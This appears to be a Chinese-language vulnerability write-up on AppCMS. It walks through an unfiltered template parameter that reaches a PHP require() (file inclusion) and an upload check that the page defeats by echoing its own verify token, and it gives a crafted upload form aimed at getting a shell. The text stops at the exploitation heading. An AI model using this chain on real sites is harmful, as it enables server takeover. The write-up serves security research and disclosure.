0x01代码分析
看到index.php文件
$tpl = isset($_GET['tpl'])?$_GET['tpl']:'index'; // 2.1)判断分类绑定模板 if (intval($cid) > 0) { $ncate = isset($c -> categories[$cid])?$c -> categories[$cid]:''; if ($ncate == '') die('分类不存在'); if ($ncate['tpl_listvar'] != '') { // 列表页不为空，当前页面大于第一页，替换为列表页模板 $tpl = substr($ncate['tpl_listvar'], 0, stripos($ncate['tpl_listvar'], ".")); } if ($ncate['tpl_index'] != '') { // 封面页不为空，当前页面为第一页，替换为封面模板 if ($p == 1) $tpl = substr($ncate['tpl_index'], 0, stripos($ncate['tpl_index'], ".")); } } // 2.2)判断分类下内容页面模板，资讯详情页，应用详情页，应用历史版本页 if ($tpl == 'content_app') { $c -> update_vistor($id, 0); $con = $c -> get_content($id, 0); if(!isset($con['app_id'])) { die('信息不存在'); } } elseif ($tpl == 'content_app_history') { $c -> update_vistor($id, 0); $con = $c -> get_content($id, 0); // exit(print_r($con['history'])); foreach($con['history'] as $a) { // 判断当前应用版本信息 if ($a['history_id'] == $hid) { $history = $a; // print_r($history); continue; } } if (!isset($history)) die('历史版本数据不存在'); } elseif ($tpl == 'content_info') { $c -> update_vistor($id, 1); $con = $c -> get_content($id, 1); if(!isset($con['info_id'])) { die('信息不存在'); } } if (isset($con) && $c -> categories[$con['last_cate_id']]['tpl_content'] != '') $tpl = $c -> categories[$con['last_cate_id']]['tpl_content']; // 内容页顶级分类ID判断，导航条使用 if (isset($con)) { $top = $c -> cate_father($con['last_cate_id']); $topid = $top[0]['cate_id']; } // 3)组合模板页面路径 $from_mobile = TEMPLATE; if (defined('CONTENT_MOBILE') && CONTENT_MOBILE == 1) { // 自适应WAP浏览 if ($c -> from_mobile()) { $from_mobile = defined('WAP_TPL') && WAP_TPL ? WAP_TPL : m; } } if (defined('WAP_URL') && WAP_URL != '' && 'http://' . $_SERVER['HTTP_HOST'] == WAP_URL) { // WAP独立域名浏览 $from_mobile = WAP_TPL; } if (substr($_SERVER['HTTP_HOST'], 0, 4) == 'mkt.') { // 手机客户端 $from_mobile = "mkt"; } if (substr($tpl, strlen($tpl)-4, 4) == '.php') { $tmp_file = '/templates/' . $from_mobile . '/' . $tpl; } else { $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php'; } if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file); require(dirname(__FILE__) . $tmp_file); /** * 其他动作函数开始 */
可以看到传进来的tpl没有做任何过滤，直接包含了。
但是这个cms没有直接上传的地方，前台没啥功能。但是，如何利用这个包含呢？难道只有包含日志神马的吗？那太鸡肋了。我们应该想办法来getshell。
看到/upload/upload_file.php
$page['get'] = $_GET; $page['post'] = $_POST; $dbm = new db_mysql(); $params = $page['get']['params']; /** * $params=json_encode(urldecode($params)); * die('<script> alert('.$params.');</script>'); */ $params = preg_replace('~(\")~', '"', $params); $json_params = json_decode($params); // 1.验证请求安全性 $verify = isset($page['get']['v'])?$page['get']['v']:''; if ($verify == '') die('<script>alert("No Access 001");</script>'); $verify = helper :: decrypt($verify, UPLOAD_KEY); $gsc = substr($verify, 0, strlen(UPLOAD_CODE)); if ($gsc != UPLOAD_CODE) die('<script>alert("No Access 002 ' . $gsc . '");</script>'); if (!preg_match('~(d{10})~', substr($verify, strlen(UPLOAD_CODE)))) die('<script>alert("No Access 003' . $verify . '");</script>'); // 2.接收图片上传 $save_path = '.' . UPLOAD_PATH . date('Y/m/d') . '/'; $file_name=strtolower($_FILES['file']['name']); if(strstr($file_name,'.apk')) { $save_path = '.' . (defined('UPLOAD_PATH_APK')?UPLOAD_PATH_APK:'/apk/') . date('Y/m/d') . '/'; } $upload_config = array(); $upload_config['savePath'] = $save_path; //图片保存路径
通过$verify来验证是否可以上传，如何获得$verify呢。看到upload_form.php
<?php require_once(dirname(__FILE__)."/../core/init.php"); $upload_server= SITE_PATH."upload/"; // 上传安全验证字符串 $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY); $params=$_GET['params']; $params=preg_replace('~(\")~','"',$params); $json=json_decode($params); ?> ........ <body> <form action='<?php echo($upload_server); ?>upload_file.php?params=<?php echo urlencode($params);?>&v=<?php echo($verify);?>' id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame"> <a class="input-file">上传文件<input type="file" id="file" name="file" size="1" style="70px;cursor:default;height:25px;line-height:25px;"></a> <iframe name="hidden_frame" id="hidden_frame" frameborder="no" border="0″ marginwidth="0″ marginheight="0" scrolling="no" allowtransparency="yes"></iframe> </form> </body> </html>
直接echo出了他的值,这样就好办了。我们本地构造上传表单。
</html><head> </head> <body> <form action="http://127.0.0.1/appcms/upload/upload_file.php?params=&v=tHtAtQScLEskxnAynNEomxsWH" id="form" name="form" enctype="multipart/form-data" method="post" target="hidden_frame"> <input type='file' name='file' /> <input type='submit' value='Upload File' /> <form> </body> </html>
然后就可以上传了，由于有一个回调函数，所以抓包可以看到路径。
0x02利用过程
